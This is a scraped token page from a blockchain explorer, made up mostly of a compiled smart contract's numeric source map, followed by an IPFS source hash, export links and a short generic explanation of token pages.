:-1;;;12621:18:1;;;12614:31;12662:19;;3751:56:0;12290:397:1;3751:56:0;3825:1;3588:246;-1:-1:-1;;;3588:246:0:o;3842:132::-;3900:7;3927:39;3931:1;3934;3927:39;;;;;;;;;;;;;;;;;:3;:39::i;10686:107::-;10743:7;10775:1;10771;:5;10770:15;;10784:1;10770:15;;;-1:-1:-1;10780:1:0;10686:107;-1:-1:-1;10686:107:0:o;10801:483::-;5728:6;:13;;-1:-1:-1;;;;5728:13:0;-1:-1:-1;;;5728:13:0;;;10903:16:::1;::::0;;10917:1:::1;10903:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10903:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10903:16:0::1;10879:40;;10948:4;10930;10935:1;10930:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10930:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10974:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10974:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10930:7;;10974:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10964:4;10969:1;10964:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10964:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11039:15:::1;::::0;11007:62:::1;::::0;11024:4:::1;::::0;11039:15:::1;11057:11:::0;11007:8:::1;:62::i;:::-;11080:15;::::0;:196:::1;::::0;-1:-1:-1;;;11080:196:0;;-1:-1:-1;;;;;11080:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11161:11;;11080:15:::1;::::0;11203:4;;11230::::1;::::0;11250:15:::1;::::0;11080:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5764:6:0;:14;;-1:-1:-1;;;;5764:14:0;;;-1:-1:-1;;;;10801:483:0:o;8184:89::-;8241:7;;:24;;-1:-1:-1;;;;;8241:7:0;;;;:24;;;;;8258:6;;8241:7;:24;:7;:24;8258:6;8241:7;:24;;;;;;;;;;;;;;;;;;;14128:463;14347:8;14343:166;;;14372:32;14385:7;14394:9;14372:12;:32::i;:::-;14343:166;;;14437:60;14454:7;14463:9;14474;14485:11;14437:16;:60::i;:::-;14521:62;14542:7;14551:9;14562;14573;14521:20;:62::i;3212:136::-;3270:7;3297:43;3301:1;3304;3297:43;;;;;;;;;;;;;;;;;:3;:43::i;3025:179::-;3083:7;;3115:5;3119:1;3115;:5;:::i;:::-;3103:17;;3144:1;3139;:6;;3131:46;;;;-1:-1:-1;;;3131:46:0;;13879:2:1;3131:46:0;;;13861:21:1;13918:2;13898:18;;;13891:30;13957:29;13937:18;;;13930:57;14004:18;;3131:46:0;13677:351:1;3982:223:0;4102:7;4137:12;4130:5;4122:28;;;;-1:-1:-1;;;4122:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4161:9:0;4173:5;4177:1;4173;:5;:::i;9966:319::-;10074:13;;10070:208;;10149:4;10131:24;;;;:9;:24;;;;;;:71;;10178:9;10131:28;:71::i;:::-;10122:4;10104:24;;;;:9;:24;;;;;;;:98;;;;10222:44;;-1:-1:-1;;;;;10222:44:0;;;-1:-1:-1;;;;;;;;;;;10222:44:0;;;10256:9;1549:25:1;;1537:2;1522:18;;1403:177;10222:44:0;;;;;;;;9966:319;;:::o;10293:385::-;10487:91;10526:14;;:41;;10558:9;10526:41;;;10543:12;10526:41;-1:-1:-1;;;;;10487:20:0;;;;;;:9;:20;;;;;;;:24;:91::i;:::-;-1:-1:-1;;;;;10464:20:0;;;;;;;:9;:20;;;;;:114;;;;10594:76;;-1:-1:-1;;;;;;;;;;;10628:14:0;;:41;;10660:9;10628:41;;;10645:12;10628:41;10594:76;;1549:25:1;;;1537:2;1522:18;10594:76:0;;;;;;;10293:385;;;;:::o;14599:399::-;-1:-1:-1;;;;;14793:20:0;;;;;;:9;:20;;;;;;:35;;14818:9;14793:24;:35::i;:::-;-1:-1:-1;;;;;14770:20:0;;;;;;:9;:20;;;;;:58;14864:52;14891:24;:9;14905;14891:13;:24::i;:::-;-1:-1:-1;;;;;14864:22:0;;;;;;:9;:22;;;;;;;:26;:52::i;:::-;-1:-1:-1;;;;;14839:22:0;;;;;;;:9;:22;;;;;:77;;;;14932:58;;-1:-1:-1;;;;;;;;;;;14965:24:0;:9;14979;14965:13;:24::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:134::-;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:127::-;2296:10;2291:3;2287:20;2284:1;2277:31;2327:4;2324:1;2317:15;2351:4;2348:1;2341:15;2367:1121;2451:6;2482:2;2525;2513:9;2504:7;2500:23;2496:32;2493:52;;;2541:1;2538;2531:12;2493:52;2581:9;2568:23;2610:18;2651:2;2643:6;2640:14;2637:34;;;2667:1;2664;2657:12;2637:34;2705:6;2694:9;2690:22;2680:32;;2750:7;2743:4;2739:2;2735:13;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:2;2795:16;2830:2;2826;2823:10;2820:36;;;2836:18;;:::i;:::-;2882:2;2879:1;2875:10;2914:2;2908:9;2977:2;2973:7;2968:2;2964;2960:11;2956:25;2948:6;2944:38;3032:6;3020:10;3017:22;3012:2;3000:10;2997:18;2994:46;2991:72;;;3043:18;;:::i;:::-;3079:2;3072:22;3129:18;;;3163:15;;;;-1:-1:-1;3205:11:1;;;3201:20;;;3233:19;;;3230:39;;;3265:1;3262;3255:12;3230:39;3289:11;;;;3309:148;3325:6;3320:3;3317:15;3309:148;;;3391:23;3410:3;3391:23;:::i;:::-;3379:36;;3342:12;;;;3435;;;;3309:148;;;3476:6;2367:1121;-1:-1:-1;;;;;;;;2367:1121:1:o;3493:247::-;3552:6;3605:2;3593:9;3584:7;3580:23;3576:32;3573:52;;;3621:1;3618;3611:12;3573:52;3660:9;3647:23;3679:31;3704:5;3679:31;:::i;3953:388::-;4021:6;4029;4082:2;4070:9;4061:7;4057:23;4053:32;4050:52;;;4098:1;4095;4088:12;4050:52;4137:9;4124:23;4156:31;4181:5;4156:31;:::i;:::-;4206:5;-1:-1:-1;4263:2:1;4248:18;;4235:32;4276:33;4235:32;4276:33;:::i;:::-;4328:7;4318:17;;;3953:388;;;;;:::o;4346:127::-;4407:10;4402:3;4398:20;4395:1;4388:31;4438:4;4435:1;4428:15;4462:4;4459:1;4452:15;4478:422;4567:1;4610:5;4567:1;4624:270;4645:7;4635:8;4632:21;4624:270;;;4704:4;4700:1;4696:6;4692:17;4686:4;4683:27;4680:53;;;4713:18;;:::i;:::-;4763:7;4753:8;4749:22;4746:55;;;4783:16;;;;4746:55;4862:22;;;;4822:15;;;;4624:270;;;4628:3;4478:422;;;;;:::o;4905:806::-;4954:5;4984:8;4974:80;;-1:-1:-1;5025:1:1;5039:5;;4974:80;5073:4;5063:76;;-1:-1:-1;5110:1:1;5124:5;;5063:76;5155:4;5173:1;5168:59;;;;5241:1;5236:130;;;;5148:218;;5168:59;5198:1;5189:10;;5212:5;;;5236:130;5273:3;5263:8;5260:17;5257:43;;;5280:18;;:::i;:::-;-1:-1:-1;;5336:1:1;5322:16;;5351:5;;5148:218;;5450:2;5440:8;5437:16;5431:3;5425:4;5422:13;5418:36;5412:2;5402:8;5399:16;5394:2;5388:4;5385:12;5381:35;5378:77;5375:159;;;-1:-1:-1;5487:19:1;;;5519:5;;5375:159;5566:34;5591:8;5585:4;5566:34;:::i;:::-;5636:6;5632:1;5628:6;5624:19;5615:7;5612:32;5609:58;;;5647:18;;:::i;:::-;5685:20;;4905:806;-1:-1:-1;;;4905:806:1:o;5716:140::-;5774:5;5803:47;5844:4;5834:8;5830:19;5824:4;5803:47;:::i;5861:168::-;5901:7;5967:1;5963;5959:6;5955:14;5952:1;5949:21;5944:1;5937:9;5930:17;5926:45;5923:71;;;5974:18;;:::i;:::-;-1:-1:-1;6014:9:1;;5861:168::o;6034:356::-;6236:2;6218:21;;;6255:18;;;6248:30;6314:34;6309:2;6294:18;;6287:62;6381:2;6366:18;;6034:356::o;6395:127::-;6456:10;6451:3;6447:20;6444:1;6437:31;6487:4;6484:1;6477:15;6511:4;6508:1;6501:15;6527:135;6566:3;-1:-1:-1;;6587:17:1;;6584:43;;;6607:18;;:::i;:::-;-1:-1:-1;6654:1:1;6643:13;;6527:135::o;7631:306::-;7719:6;7727;7735;7788:2;7776:9;7767:7;7763:23;7759:32;7756:52;;;7804:1;7801;7794:12;7756:52;7833:9;7827:16;7817:26;;7883:2;7872:9;7868:18;7862:25;7852:35;;7927:2;7916:9;7912:18;7906:25;7896:35;;7631:306;;;;;:::o;8221:277::-;8288:6;8341:2;8329:9;8320:7;8316:23;8312:32;8309:52;;;8357:1;8354;8347:12;8309:52;8389:9;8383:16;8442:5;8435:13;8428:21;8421:5;8418:32;8408:60;;8464:1;8461;8454:12;8503:251;8573:6;8626:2;8614:9;8605:7;8601:23;8597:32;8594:52;;;8642:1;8639;8632:12;8594:52;8674:9;8668:16;8693:31;8718:5;8693:31;:::i;11450:128::-;11490:3;11521:1;11517:6;11514:1;11511:13;11508:39;;;11527:18;;:::i;:::-;-1:-1:-1;11563:9:1;;11450:128::o;11938:125::-;11978:4;12006:1;12003;12000:8;11997:34;;;12011:18;;:::i;:::-;-1:-1:-1;12048:9:1;;11938:125::o;12068:217::-;12108:1;12134;12124:132;;12178:10;12173:3;12169:20;12166:1;12159:31;12213:4;12210:1;12203:15;12241:4;12238:1;12231:15;12124:132;-1:-1:-1;12270:9:1;;12068:217::o;12692:980::-;12954:4;13002:3;12991:9;12987:19;13033:6;13022:9;13015:25;13059:2;13097:6;13092:2;13081:9;13077:18;13070:34;13140:3;13135:2;13124:9;13120:18;13113:31;13164:6;13199;13193:13;13230:6;13222;13215:22;13268:3;13257:9;13253:19;13246:26;;13307:2;13299:6;13295:15;13281:29;;13328:1;13338:195;13352:6;13349:1;13346:13;13338:195;;;13417:13;;-1:-1:-1;;;;;13413:39:1;13401:52;;13508:15;;;;13473:12;;;;13449:1;13367:9;13338:195;;;-1:-1:-1;;;;;;;13589:32:1;;;;13584:2;13569:18;;13562:60;-1:-1:-1;;;13653:3:1;13638:19;13631:35;13550:3;12692:980;-1:-1:-1;;;12692:980:1:o

Swarm Source

ipfs://7bbb3638d31b650afc017c168e32a14455e8577de19c4bb8678b243fa5594e61
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.